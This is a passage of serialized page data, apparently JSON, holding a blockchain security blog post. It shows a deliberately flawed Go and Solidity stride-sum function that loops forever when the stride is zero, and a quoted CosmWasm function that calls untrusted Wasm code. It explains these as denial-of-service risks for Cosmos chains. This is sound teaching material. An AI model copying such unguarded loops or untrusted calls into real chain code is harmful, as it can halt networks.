",{"type":25,"tag":216,"props":80031,"children":80032},{"style":6947},[80033],{"type":31,"value":266},{"type":25,"tag":216,"props":80035,"children":80036},{"style":6958},[80037],{"type":31,"value":80038}," arr.length;\n",{"type":25,"tag":216,"props":80040,"children":80041},{"class":6916,"line":7269},[80042],{"type":25,"tag":216,"props":80043,"children":80044},{"emptyLinePlaceholder":16},[80045],{"type":31,"value":7636},{"type":25,"tag":216,"props":80047,"children":80048},{"class":6916,"line":7290},[80049,80053,80058,80062],{"type":25,"tag":216,"props":80050,"children":80051},{"style":6967},[80052],{"type":31,"value":68336},{"type":25,"tag":216,"props":80054,"children":80055},{"style":6958},[80056],{"type":31,"value":80057}," (idx ",{"type":25,"tag":216,"props":80059,"children":80060},{"style":6947},[80061],{"type":31,"value":9751},{"type":25,"tag":216,"props":80063,"children":80064},{"style":6958},[80065],{"type":31,"value":80066}," end) {\n",{"type":25,"tag":216,"props":80068,"children":80069},{"class":6916,"line":7299},[80070,80075,80079],{"type":25,"tag":216,"props":80071,"children":80072},{"style":6958},[80073],{"type":31,"value":80074},"        sum ",{"type":25,"tag":216,"props":80076,"children":80077},{"style":6947},[80078],{"type":31,"value":72401},{"type":25,"tag":216,"props":80080,"children":80081},{"style":6958},[80082],{"type":31,"value":80083}," arr[idx];\n",{"type":25,"tag":216,"props":80085,"children":80086},{"class":6916,"line":7551},[80087,80092,80096],{"type":25,"tag":216,"props":80088,"children":80089},{"style":6958},[80090],{"type":31,"value":80091},"        idx ",{"type":25,"tag":216,"props":80093,"children":80094},{"style":6947},[80095],{"type":31,"value":72401},{"type":25,"tag":216,"props":80097,"children":80098},{"style":6958},[80099],{"type":31,"value":80100}," stride;\n",{"type":25,"tag":216,"props":80102,"children":80103},{"class":6916,"line":7568},[80104],{"type":25,"tag":216,"props":80105,"children":80106},{"style":6958},[80107],{"type":31,"value":7305},{"type":25,"tag":216,"props":80109,"children":80110},{"class":6916,"line":7585},[80111,80115],{"type":25,"tag":216,"props":80112,"children":80113},{"style":6967},[80114],{"type":31,"value":20941},{"type":25,"tag":216,"props":80116,"children":80117},{"style":6958},[80118],{"type":31,"value":80119}," sum;\n",{"type":25,"tag":216,"props":80121,"children":80122},{"class":6916,"line":7598},[80123],{"type":25,"tag":216,"props":80124,"children":80125},{"style":6958},[80126],{"type":31,"value":7868},{"type":25,"tag":206,"props":80128,"children":80132},{"code":80129,"language":80130,"meta":7,"className":80131,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[80133],{"type":25,"tag":82,"props":80134,"children":80135},{"__ignoreMap":7},[80136,80156,80169,80181,80199,80206,80213,80233,80245,80252,80259,80294,80320,80341,80370,80400,80445,80522,80558,80565,80609],{"type":25,"tag":216,"props":80137,"children":80138},{"class":6916,"line":6917},[80139,80143,80148,80152],{"type":25,"tag":216,"props":80140,"children":80141},{"style":6930},[80142],{"type":31,"value":36713},{"type":25,"tag":216,"props":80144,"children":80145},{"style":7369},[80146],{"type":31,"value":80147}," MsgSumWithStrideParams",{"type":25,"tag":216,"props":80149,"children":80150},{"style":6930},[80151],{"type":31,"value":25105},{"type":25,"tag":216,"props":80153,"children":80154},{"style":6958},[80155],{"type":31,"value":7235},{"type":25,"tag":216,"props":80157,"children":80158},{"class":6916,"line":6763},[80159,80164],{"type":25,"tag":216,"props":80160,"children":80161},{"style":6941},[80162],{"type":31,"value":80163},"    Start",{"type":25,"tag":216,"props":80165,"children":80166},{"style":7369},[80167],{"type":31,"value":80168}," uint64\n",{"type":25,"tag":216,"props":80170,"children":80171},{"class":6916,"line":6772},[80172,80177],{"type":25,"tag":216,"props":80173,"children":80174},{"style":6941},[80175],{"type":31,"value":80176},"    Stride",{"type":25,"tag":216,"props":80178,"children":80179},{"style":7369},[80180],{"type":31,"value":80168},{"type":25,"tag":216,"props":80182,"children":80183},{"class":6916,"line":6999},[80184,80189,80194],{"type":25,"tag":216,"props":80185,"children":80186},{"style":6941},[80187],{"type":31,"value":80188},"    Arr",{"type":25,"tag":216,"props":80190,"children":80191},{"style":6958},[80192],{"type":31,"value":80193}," []",{"type":25,"tag":216,"props":80195,"children":80196},{"style":7369},[80197],{"type":31,"value":80198},"uint64\n",{"type":25,"tag":216,"props":80200,"children":80201},{"class":6916,"line":7104},[80202],{"type":25,"tag":216,"props":80203,"children":80204},{"style":6958},[80205],{"type":31,"value":7868},{"type":25,"tag":216,"props":80207,"children":80208},{"class":6916,"line":7210},[80209],{"type":25,"tag":216,"props":80210,"children":80211},{"emptyLinePlaceholder":16},[80212],{"type":31,"value":7636},{"type":25,"tag":216,"props":80214,"children":80215},{"class":6916,"line":7238},[80216,80220,80225,80229],{"type":25,"tag":216,"props":80217,"children":80218},{"style":6930},[80219],{"type":31,"value":36713},{"type":25,"tag":216,"props":80221,"children":80222},{"style":7369},[80223],{"type":31,"value":80224}," MsgSumWithStrideResponse",{"type":25,"tag":216,"props":80226,"children":80227},{"style":6930},[80228],{"type":31,"value":25105},{"type":25,"tag":216,"props":80230,"children":80231},{"style":6958},[80232],{"type":31,"value":7235},{"type":25,"tag":216,"props":80234,"children":80235},{"class":6916,"line":7251},[80236,80241],{"type":25,"tag":216,"props":80237,"children":80238},{"style":6941},[80239],{"type":31,"value":80240},"    Sum",{"type":25,"tag":216,"props":80242,"children":80243},{"style":7369},[80244],{"type":31,"value":80168},{"type":25,"tag":216,"props":80246,"children":80247},{"class":6916,"line":7269},[80248],{"type":25,"tag":216,"props":80249,"children":80250},{"style":6958},[80251],{"type":31,"value":7868},{"type":25,"tag":216,"props":80253,"children":80254},{"class":6916,"line":7290},[80255],{"type":25,"tag":216,"props":80256,"children":80257},{"emptyLinePlaceholder":16},[80258],{"type":31,"value":7636},{"type":25,"tag":216,"props":80260,"children":80261},{"class":6916,"line":7299},[80262,80267,80271,80276,80281,80285,80290],{"type":25,"tag":216,"props":80263,"children":80264},{"style":6930},[80265],{"type":31,"value":80266},"func",{"type":25,"tag":216,"props":80268,"children":80269},{"style":6958},[80270],{"type":31,"value":7010},{"type":25,"tag":216,"props":80272,"children":80273},{"style":6941},[80274],{"type":31,"value":80275},"ms ",{"type":25,"tag":216,"props":80277,"children":80278},{"style":7369},[80279],{"type":31,"value":80280},"msgServer",{"type":25,"tag":216,"props":80282,"children":80283},{"style":6958},[80284],{"type":31,"value":7030},{"type":25,"tag":216,"props":80286,"children":80287},{"style":7041},[80288],{"type":31,"value":80289},"SumWithStride",{"type":25,"tag":216,"props":80291,"children":80292},{"style":6958},[80293],{"type":31,"value":7414},{"type":25,"tag":216,"props":80295,"children":80296},{"class":6916,"line":7551},[80297,80302,80307,80311,80316],{"type":25,"tag":216,"props":80298,"children":80299},{"style":6941},[80300],{"type":31,"value":80301},"    goCtx",{"type":25,"tag":216,"props":80303,"children":80304},{"style":7369},[80305],{"type":31,"value":80306}," context",{"type":25,"tag":216,"props":80308,"children":80309},{"style":6958},[80310],{"type":31,"value":179},{"type":25,"tag":216,"props":80312,"children":80313},{"style":7369},[80314],{"type":31,"value":80315},"Context",{"type":25,"tag":216,"props":80317,"children":80318},{"style":6958},[80319],{"type":31,"value":7459},{"type":25,"tag":216,"props":80321,"children":80322},{"class":6916,"line":7568},[80323,80328,80332,80337],{"type":25,"tag":216,"props":80324,"children":80325},{"style":6941},[80326],{"type":31,"value":80327},"    msg",{"type":25,"tag":216,"props":80329,"children":80330},{"style":6947},[80331],{"type":31,"value":13767},{"type":25,"tag":216,"props":80333,"children":80334},{"style":7369},[80335],{"type":31,"value":80336},"MsgSumWithStrideParams",{"type":25,"tag":216,"props":80338,"children":80339},{"style":6958},[80340],{"type":31,"value":7459},{"type":25,"tag":216,"props":80342,"children":80343},{"class":6916,"line":7585},[80344,80349,80353,80358,80362,80366],{"type":25,"tag":216,"props":80345,"children":80346},{"style":6958},[80347],{"type":31,"value":80348},") (",{"type":25,"tag":216,"props":80350,"children":80351},{"style":6947},[80352],{"type":31,"value":8513},{"type":25,"tag":216,"props":80354,"children":80355},{"style":7369},[80356],{"type":31,"value":80357},"MsgSumWithStrideResponse",{"type":25,"tag":216,"props":80359,"children":80360},{"style":6958},[80361],{"type":31,"value":7020},{"type":25,"tag":216,"props":80363,"children":80364},{"style":7369},[80365],{"type":31,"value":18815},{"type":25,"tag":216,"props":80367,"children":80368},{"style":6958},[80369],{"type":31,"value":18755},{"type":25,"tag":216,"props":80371,"children":80372},{"class":6916,"line":7598},[80373,80378,80383,80388,80392,80396],{"type":25,"tag":216,"props":80374,"children":80375},{"style":6941},[80376],{"type":31,"value":80377},"    sum",{"type":25,"tag":216,"props":80379,"children":80380},{"style":6947},[80381],{"type":31,"value":80382}," :=",{"type":25,"tag":216,"props":80384,"children":80385},{"style":7369},[80386],{"type":31,"value":80387}," uint64",{"type":25,"tag":216,"props":80389,"children":80390},{"style":6958},[80391],{"type":31,"value":1844},{"type":25,"tag":216,"props":80393,"children":80394},{"style":6983},[80395],{"type":31,"value":1876},{"type":25,"tag":216,"props":80397,"children":80398},{"style":6958},[80399],{"type":31,"value":7101},{"type":25,"tag":216,"props":80401,"children":80402},{"class":6916,"line":7607},[80403,80408,80412,80416,80420,80424,80428,80432,80436,80441],{"type":25,"tag":216,"props":80404,"children":80405},{"style":6941},[80406],{"type":31,"value":80407},"    end",{"type":25,"tag":216,"props":80409,"children":80410},{"style":6947},[80411],{"type":31,"value":80382},{"type":25,"tag":216,"props":80413,"children":80414},{"style":7369},[80415],{"type":31,"value":80387},{"type":25,"tag":216,"props":80417,"children":80418},{"style":6958},[80419],{"type":31,"value":1844},{"type":25,"tag":216,"props":80421,"children":80422},{"style":7041},[80423],{"type":31,"value":13088},{"type":25,"tag":216,"props":80425,"children":80426},{"style":6958},[80427],{"type":31,"value":1844},{"type":25,"tag":216,"props":80429,"children":80430},{"style":6941},[80431],{"type":31,"value":61908},{"type":25,"tag":216,"props":80433,"children":80434},{"style":6958},[80435],{"type":31,"value":179},{"type":25,"tag":216,"props":80437,"children":80438},{"style":6941},[80439],{"type":31,"value":80440},"Arr",{"type":25,"tag":216,"props":80442,"children":80443},{"style":6958},[80444],{"type":31,"value":23666},{"type":25,"tag":216,"props":80446,"children":80447},{"class":6916,"line":7630},[80448,80452,80457,80461,80466,80470,80475,80479,80484,80488,80493,80497,80501,80505,80509,80513,80518],{"type":25,"tag":216,"props":80449,"children":80450},{"style":6967},[80451],{"type":31,"value":6970},{"type":25,"tag":216,"props":80453,"children":80454},{"style":6941},[80455],{"type":31,"value":80456}," idx",{"type":25,"tag":216,"props":80458,"children":80459},{"style":6947},[80460],{"type":31,"value":80382},{"type":25,"tag":216,"props":80462,"children":80463},{"style":6941},[80464],{"type":31,"value":80465}," msg",{"type":25,"tag":216,"props":80467,"children":80468},{"style":6958},[80469],{"type":31,"value":179},{"type":25,"tag":216,"props":80471,"children":80472},{"style":6941},[80473],{"type":31,"value":80474},"Start",{"type":25,"tag":216,"props":80476,"children":80477},{"style":6958},[80478],{"type":31,"value":21178},{"type":25,"tag":216,"props":80480,"children":80481},{"style":6941},[80482],{"type":31,"value":80483},"idx",{"type":25,"tag":216,"props":80485,"children":80486},{"style":6947},[80487],{"type":31,"value":12666},{"type":25,"tag":216,"props":80489,"children":80490},{"style":6941},[80491],{"type":31,"value":80492}," end",{"type":25,"tag":216,"props":80494,"children":80495},{"style":6958},[80496],{"type":31,"value":21178},{"type":25,"tag":216,"props":80498,"children":80499},{"style":6941},[80500],{"type":31,"value":80483},{"type":25,"tag":216,"props":80502,"children":80503},{"style":6947},[80504],{"type":31,"value":19016},{"type":25,"tag":216,"props":80506,"children":80507},{"style":6941},[80508],{"type":31,"value":80465},{"type":25,"tag":216,"props":80510,"children":80511},{"style":6958},[80512],{"type":31,"value":179},{"type":25,"tag":216,"props":80514,"children":80515},{"style":6941},[80516],{"type":31,"value":80517},"Stride",{"type":25,"tag":216,"props":80519,"children":80520},{"style":6958},[80521],{"type":31,"value":7235},{"type":25,"tag":216,"props":80523,"children":80524},{"class":6916,"line":7639},[80525,80530,80534,80538,80542,80546,80550,80554],{"type":25,"tag":216,"props":80526,"children":80527},{"style":6941},[80528],{"type":31,"value":80529},"        sum",{"type":25,"tag":216,"props":80531,"children":80532},{"style":6947},[80533],{"type":31,"value":19016},{"type":25,"tag":216,"props":80535,"children":80536},{"style":6941},[80537],{"type":31,"value":80465},{"type":25,"tag":216,"props":80539,"children":80540},{"style":6958},[80541],{"type":31,"value":179},{"type":25,"tag":216,"props":80543,"children":80544},{"style":6941},[80545],{"type":31,"value":80440},{"type":25,"tag":216,"props":80547,"children":80548},{"style":6958},[80549],{"type":31,"value":7695},{"type":25,"tag":216,"props":80551,"children":80552},{"style":6941},[80553],{"type":31,"value":80483},{"type":25,"tag":216,"props":80555,"children":80556},{"style":6958},[80557],{"type":31,"value":15722},{"type":25,"tag":216,"props":80559,"children":80560},{"class":6916,"line":7648},[80561],{"type":25,"tag":216,"props":80562,"children":80563},{"style":6958},[80564],{"type":31,"value":7305},{"type":25,"tag":216,"props":80566,"children":80567},{"class":6916,"line":7716},[80568,80572,80576,80580,80585,80590,80594,80599,80604],{"type":25,"tag":216,"props":80569,"children":80570},{"style":6967},[80571],{"type":31,"value":20941},{"type":25,"tag":216,"props":80573,"children":80574},{"style":6947},[80575],{"type":31,"value":11087},{"type":25,"tag":216,"props":80577,"children":80578},{"style":7369},[80579],{"type":31,"value":80357},{"type":25,"tag":216,"props":80581,"children":80582},{"style":6958},[80583],{"type":31,"value":80584},"{",{"type":25,"tag":216,"props":80586,"children":80587},{"style":6941},[80588],{"type":31,"value":80589},"Sum",{"type":25,"tag":216,"props":80591,"children":80592},{"style":6958},[80593],{"type":31,"value":19282},{"type":25,"tag":216,"props":80595,"children":80596},{"style":6941},[80597],{"type":31,"value":80598},"sum",{"type":25,"tag":216,"props":80600,"children":80601},{"style":6958},[80602],{"type":31,"value":80603},"}, ",{"type":25,"tag":216,"props":80605,"children":80606},{"style":6930},[80607],{"type":31,"value":80608},"nil\n",{"type":25,"tag":216,"props":80610,"children":80611},{"class":6916,"line":7724},[80612],{"type":25,"tag":216,"props":80613,"children":80614},{"style":6958},[80615],{"type":31,"value":7868},{"type":25,"tag":38,"props":80617,"children":80618},{},[80619,80621,80626,80627,80633],{"type":31,"value":80620},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":25,"tag":82,"props":80622,"children":80624},{"className":80623},[],[80625],{"type":31,"value":80483},{"type":31,"value":11260},{"type":25,"tag":82,"props":80628,"children":80630},{"className":80629},[],[80631],{"type":31,"value":80632},"stride",{"type":31,"value":80634},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":25,"tag":38,"props":80636,"children":80637},{},[80638],{"type":31,"value":80639},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":25,"tag":38,"props":80641,"children":80642},{},[80643],{"type":31,"value":80644},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":25,"tag":38,"props":80646,"children":80647},{},[80648],{"type":31,"value":80649},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":25,"tag":607,"props":80651,"children":80653},{"id":80652},"real-world-examples",[80654],{"type":31,"value":80655},"Real-World Examples",{"type":25,"tag":38,"props":80657,"children":80658},{},[80659],{"type":31,"value":80660},"Now, let's examine a few real-world instances.",{"type":25,"tag":38,"props":80662,"children":80663},{},[80664,80666,80672,80673,80679,80681,80687,80689,80695],{"type":31,"value":80665},"In the case of ",{"type":25,"tag":162,"props":80667,"children":80670},{"href":80668,"rel":80669},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[166],[80671],{"type":31,"value":21645},{"type":31,"value":10403},{"type":25,"tag":82,"props":80674,"children":80676},{"className":80675},[],[80677],{"type":31,"value":80678},"CosmWasm",{"type":31,"value":80680}," bug, the helper method ",{"type":25,"tag":82,"props":80682,"children":80684},{"className":80683},[],[80685],{"type":31,"value":80686},"write_to_contract",{"type":31,"value":80688}," negligently calls the untrusted Wasm function ",{"type":25,"tag":82,"props":80690,"children":80692},{"className":80691},[],[80693],{"type":31,"value":80694},"\"allocate\"",{"type":31,"value":179},{"type":25,"tag":38,"props":80697,"children":80698},{},[80699],{"type":25,"tag":162,"props":80700,"children":80703},{"href":80701,"rel":80702},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[166],[80704],{"type":31,"value":80705},"Permalink for snippet",{"type":25,"tag":206,"props":80707,"children":80709},{"code":80708,"language":6908,"meta":7,"className":6909,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[80710],{"type":25,"tag":82,"props":80711,"children":80712},{"__ignoreMap":7},[80713,80782,80830,80858,80887,80936,81010,81055,81078,81123,81130,81187,81206],{"type":25,"tag":216,"props":80714,"children":80715},{"class":6916,"line":6917},[80716,80720,80725,80729,80734,80738,80743,80747,80751,80755,80760,80764,80769,80773,80778],{"type":25,"tag":216,"props":80717,"children":80718},{"style":6930},[80719],{"type":31,"value":24220},{"type":25,"tag":216,"props":80721,"children":80722},{"style":7041},[80723],{"type":31,"value":80724}," write_to_contract",{"type":25,"tag":216,"props":80726,"children":80727},{"style":6958},[80728],{"type":31,"value":9751},{"type":25,"tag":216,"props":80730,"children":80731},{"style":7369},[80732],{"type":31,"value":80733},"A",{"type":25,"tag":216,"props":80735,"children":80736},{"style":6947},[80737],{"type":31,"value":1466},{"type":25,"tag":216,"props":80739,"children":80740},{"style":7369},[80741],{"type":31,"value":80742}," BackendApi",{"type":25,"tag":216,"props":80744,"children":80745},{"style":6958},[80746],{"type":31,"value":7020},{"type":25,"tag":216,"props":80748,"children":80749},{"style":7369},[80750],{"type":31,"value":5266},{"type":25,"tag":216,"props":80752,"children":80753},{"style":6947},[80754],{"type":31,"value":1466},{"type":25,"tag":216,"props":80756,"children":80757},{"style":7369},[80758],{"type":31,"value":80759}," Storage",{"type":25,"tag":216,"props":80761,"children":80762},{"style":6958},[80763],{"type":31,"value":7020},{"type":25,"tag":216,"props":80765,"children":80766},{"style":7369},[80767],{"type":31,"value":80768},"Q",{"type":25,"tag":216,"props":80770,"children":80771},{"style":6947},[80772],{"type":31,"value":1466},{"type":25,"tag":216,"props":80774,"children":80775},{"style":7369},[80776],{"type":31,"value":80777}," Querier",{"type":25,"tag":216,"props":80779,"children":80780},{"style":6958},[80781],{"type":31,"value":10534},{"type":25,"tag":216,"props":80783,"children":80784},{"class":6916,"line":6763},[80785,80789,80793,80797,80802,80806,80810,80814,80818,80822,80826],{"type":25,"tag":216,"props":80786,"children":80787},{"style":6941},[80788],{"type":31,"value":7808},{"type":25,"tag":216,"props":80790,"children":80791},{"style":6947},[80792],{"type":31,"value":1466},{"type":25,"tag":216,"props":80794,"children":80795},{"style":6947},[80796],{"type":31,"value":11087},{"type":25,"tag":216,"props":80798,"children":80799},{"style":7369},[80800],{"type":31,"value":80801},"Environment",{"type":25,"tag":216,"props":80803,"children":80804},{"style":6958},[80805],{"type":31,"value":9751},{"type":25,"tag":216,"props":80807,"children":80808},{"style":7369},[80809],{"type":31,"value":80733},{"type":25,"tag":216,"props":80811,"children":80812},{"style":6958},[80813],{"type":31,"value":7020},{"type":25,"tag":216,"props":80815,"children":80816},{"style":7369},[80817],{"type":31,"value":5266},{"type":25,"tag":216,"props":80819,"children":80820},{"style":6958},[80821],{"type":31,"value":7020},{"type":25,"tag":216,"props":80823,"children":80824},{"style":7369},[80825],{"type":31,"value":80768},{"type":25,"tag":216,"props":80827,"children":80828},{"style":6958},[80829],{"type":31,"value":10083},{"type":25,"tag":216,"props":80831,"children":80832},{"class":6916,"line":6772},[80833,80838,80842,80846,80850,80854],{"type":25,"tag":216,"props":80834,"children":80835},{"style":6941},[80836],{"type":31,"value":80837},"    input",{"type":25,"tag":216,"props":80839,"children":80840},{"style":6947},[80841],{"type":31,"value":1466},{"type":25,"tag":216,"props":80843,"children":80844},{"style":6947},[80845],{"type":31,"value":11087},{"type":25,"tag":216,"props":80847,"children":80848},{"style":6958},[80849],{"type":31,"value":7695},{"type":25,"tag":216,"props":80851,"children":80852},{"style":7369},[80853],{"type":31,"value":7372},{"type":25,"tag":216,"props":80855,"children":80856},{"style":6958},[80857],{"type":31,"value":18214},{"type":25,"tag":216,"props":80859,"children":80860},{"class":6916,"line":6999},[80861,80865,80869,80874,80878,80883],{"type":25,"tag":216,"props":80862,"children":80863},{"style":6958},[80864],{"type":31,"value":7030},{"type":25,"tag":216,"props":80866,"children":80867},{"style":6947},[80868],{"type":31,"value":17708},{"type":25,"tag":216,"props":80870,"children":80871},{"style":7369},[80872],{"type":31,"value":80873}," VmResult",{"type":25,"tag":216,"props":80875,"children":80876},{"style":6958},[80877],{"type":31,"value":9751},{"type":25,"tag":216,"props":80879,"children":80880},{"style":7369},[80881],{"type":31,"value":80882},"u32",{"type":25,"tag":216,"props":80884,"children":80885},{"style":6958},[80886],{"type":31,"value":11227},{"type":25,"tag":216,"props":80888,"children":80889},{"class":6916,"line":7104},[80890,80894,80899,80903,80908,80912,80916,80920,80924,80928,80932],{"type":25,"tag":216,"props":80891,"children":80892},{"style":6930},[80893],{"type":31,"value":6933},{"type":25,"tag":216,"props":80895,"children":80896},{"style":6941},[80897],{"type":31,"value":80898}," out_size",{"type":25,"tag":216,"props":80900,"children":80901},{"style":6947},[80902],{"type":31,"value":6950},{"type":25,"tag":216,"props":80904,"children":80905},{"style":7041},[80906],{"type":31,"value":80907}," to_u32",{"type":25,"tag":216,"props":80909,"children":80910},{"style":6958},[80911],{"type":31,"value":1844},{"type":25,"tag":216,"props":80913,"children":80914},{"style":6941},[80915],{"type":31,"value":12313},{"type":25,"tag":216,"props":80917,"children":80918},{"style":6947},[80919],{"type":31,"value":179},{"type":25,"tag":216,"props":80921,"children":80922},{"style":7041},[80923],{"type":31,"value":13088},{"type":25,"tag":216,"props":80925,"children":80926},{"style":6958},[80927],{"type":31,"value":45923},{"type":25,"tag":216,"props":80929,"children":80930},{"style":6947},[80931],{"type":31,"value":605},{"type":25,"tag":216,"props":80933,"children":80934},{"style":6958},[80935],{"type":31,"value":6961},{"type":25,"tag":216,"props":80937,"children":80938},{"class":6916,"line":7210},[80939,80943,80947,80951,80955,80959,80964,80968,80972,80976,80980,80984,80989,80993,80997,81002,81006],{"type":25,"tag":216,"props":80940,"children":80941},{"style":6930},[80942],{"type":31,"value":6933},{"type":25,"tag":216,"props":80944,"children":80945},{"style":6941},[80946],{"type":31,"value":13109},{"type":25,"tag":216,"props":80948,"children":80949},{"style":6947},[80950],{"type":31,"value":6950},{"type":25,"tag":216,"props":80952,"children":80953},{"style":6941},[80954],{"type":31,"value":46917},{"type":25,"tag":216,"props":80956,"children":80957},{"style":6947},[80958],{"type":31,"value":179},{"type":25,"tag":216,"props":80960,"children":80961},{"style":7041},[80962],{"type":31,"value":80963},"call_function1",{"type":25,"tag":216,"props":80965,"children":80966},{"style":6958},[80967],{"type":31,"value":1844},{"type":25,"tag":216,"props":80969,"children":80970},{"style":8199},[80971],{"type":31,"value":80694},{"type":25,"tag":216,"props":80973,"children":80974},{"style":6958},[80975],{"type":31,"value":7020},{"type":25,"tag":216,"props":80977,"children":80978},{"style":6947},[80979],{"type":31,"value":7053},{"type":25,"tag":216,"props":80981,"children":80982},{"style":6958},[80983],{"type":31,"value":7695},{"type":25,"tag":216,"props":80985,"children":80986},{"style":6941},[80987],{"type":31,"value":80988},"out_size",{"type":25,"tag":216,"props":80990,"children":80991},{"style":6947},[80992],{"type":31,"value":179},{"type":25,"tag":216,"props":80994,"children":80995},{"style":7041},[80996],{"type":31,"value":18837},{"type":25,"tag":216,"props":80998,"children":80999},{"style":6958},[81000],{"type":31,"value":81001},"()])",{"type":25,"tag":216,"props":81003,"children":81004},{"style":6947},[81005],{"type":31,"value":605},{"type":25,"tag":216,"props":81007,"children":81008},{"style":6958},[81009],{"type":31,"value":6961},{"type":25,"tag":216,"props":81011,"children":81012},{"class":6916,"line":7238},[81013,81017,81022,81026,81031,81035,81039,81043,81047,81051],{"type":25,"tag":216,"props":81014,"children":81015},{"style":6930},[81016],{"type":31,"value":6933},{"type":25,"tag":216,"props":81018,"children":81019},{"style":6941},[81020],{"type":31,"value":81021}," target_ptr",{"type":25,"tag":216,"props":81023,"children":81024},{"style":6947},[81025],{"type":31,"value":6950},{"type":25,"tag":216,"props":81027,"children":81028},{"style":7041},[81029],{"type":31,"value":81030}," ref_to_u32",{"type":25,"tag":216,"props":81032,"children":81033},{"style":6958},[81034],{"type":31,"value":1844},{"type":25,"tag":216,"props":81036,"children":81037},{"style":6947},[81038],{"type":31,"value":7053},{"type":25,"tag":216,"props":81040,"children":81041},{"style":6941},[81042],{"type":31,"value":13031},{"type":25,"tag":216,"props":81044,"children":81045},{"style":6958},[81046],{"type":31,"value":1882},{"type":25,"tag":216,"props":81048,"children":81049},{"style":6947},[81050],{"type":31,"value":605},{"type":25,"tag":216,"props":81052,"children":81053},{"style":6958},[81054],{"type":31,"value":6961},{"type":25,"tag":216,"props":81056,"children":81057},{"class":6916,"line":7251},[81058,81062,81066,81070,81074],{"type":25,"tag":216,"props":81059,"children":81060},{"style":6967},[81061],{"type":31,"value":16229},{"type":25,"tag":216,"props":81063,"children":81064},{"style":6941},[81065],{"type":31,"value":81021},{"type":25,"tag":216,"props":81067,"children":81068},{"style":6947},[81069],{"type":31,"value":7226},{"type":25,"tag":216,"props":81071,"children":81072},{"style":6983},[81073],{"type":31,"value":6986},{"type":25,"tag":216,"props":81075,"children":81076},{"style":6958},[81077],{"type":31,"value":7235},{"type":25,"tag":216,"props":81079,"children":81080},{"class":6916,"line":7269},[81081,81085,81089,81093,81098,81102,81107,81111,81115,81119],{"type":25,"tag":216,"props":81082,"children":81083},{"style":6967},[81084],{"type":31,"value":19696},{"type":25,"tag":216,"props":81086,"children":81087},{"style":7369},[81088],{"type":31,"value":19701},{"type":25,"tag":216,"props":81090,"children":81091},{"style":6958},[81092],{"type":31,"value":1844},{"type":25,"tag":216,"props":81094,"children":81095},{"style":7369},[81096],{"type":31,"value":81097},"CommunicationError",{"type":25,"tag":216,"props":81099,"children":81100},{"style":6947},[81101],{"type":31,"value":7432},{"type":25,"tag":216,"props":81103,"children":81104},{"style":7041},[81105],{"type":31,"value":81106},"zero_address",{"type":25,"tag":216,"props":81108,"children":81109},{"style":6958},[81110],{"type":31,"value":17830},{"type":25,"tag":216,"props":81112,"children":81113},{"style":6947},[81114],{"type":31,"value":179},{"type":25,"tag":216,"props":81116,"children":81117},{"style":7041},[81118],{"type":31,"value":18837},{"type":25,"tag":216,"props":81120,"children":81121},{"style":6958},[81122],{"type":31,"value":19376},{"type":25,"tag":216,"props":81124,"children":81125},{"class":6916,"line":7290},[81126],{"type":25,"tag":216,"props":81127,"children":81128},{"style":6958},[81129],{"type":31,"value":7305},{"type":25,"tag":216,"props":81131,"children":81132},{"class":6916,"line":7299},[81133,81138,81142,81146,81150,81154,81158,81162,81167,81171,81175,81179,81183],{"type":25,"tag":216,"props":81134,"children":81135},{"style":7041},[81136],{"type":31,"value":81137},"    write_region",{"type":25,"tag":216,"props":81139,"children":81140},{"style":6958},[81141],{"type":31,"value":1844},{"type":25,"tag":216,"props":81143,"children":81144},{"style":6947},[81145],{"type":31,"value":7053},{"type":25,"tag":216,"props":81147,"children":81148},{"style":6941},[81149],{"type":31,"value":39647},{"type":25,"tag":216,"props":81151,"children":81152},{"style":6947},[81153],{"type":31,"value":179},{"type":25,"tag":216,"props":81155,"children":81156},{"style":7041},[81157],{"type":31,"value":79938},{"type":25,"tag":216,"props":81159,"children":81160},{"style":6958},[81161],{"type":31,"value":22328},{"type":25,"tag":216,"props":81163,"children":81164},{"style":6941},[81165],{"type":31,"value":81166},"target_ptr",{"type":25,"tag":216,"props":81168,"children":81169},{"style":6958},[81170],{"type":31,"value":7020},{"type":25,"tag":216,"props":81172,"children":81173},{"style":6941},[81174],{"type":31,"value":12313},{"type":25,"tag":216,"props":81176,"children":81177},{"style":6958},[81178],{"type":31,"value":1882},{"type":25,"tag":216,"props":81180,"children":81181},{"style":6947},[81182],{"type":31,"value":605},{"type":25,"tag":216,"props":81184,"children":81185},{"style":6958},[81186],{"type":31,"value":6961},{"type":25,"tag":216,"props":81188,"children":81189},{"class":6916,"line":7551},[81190,81194,8119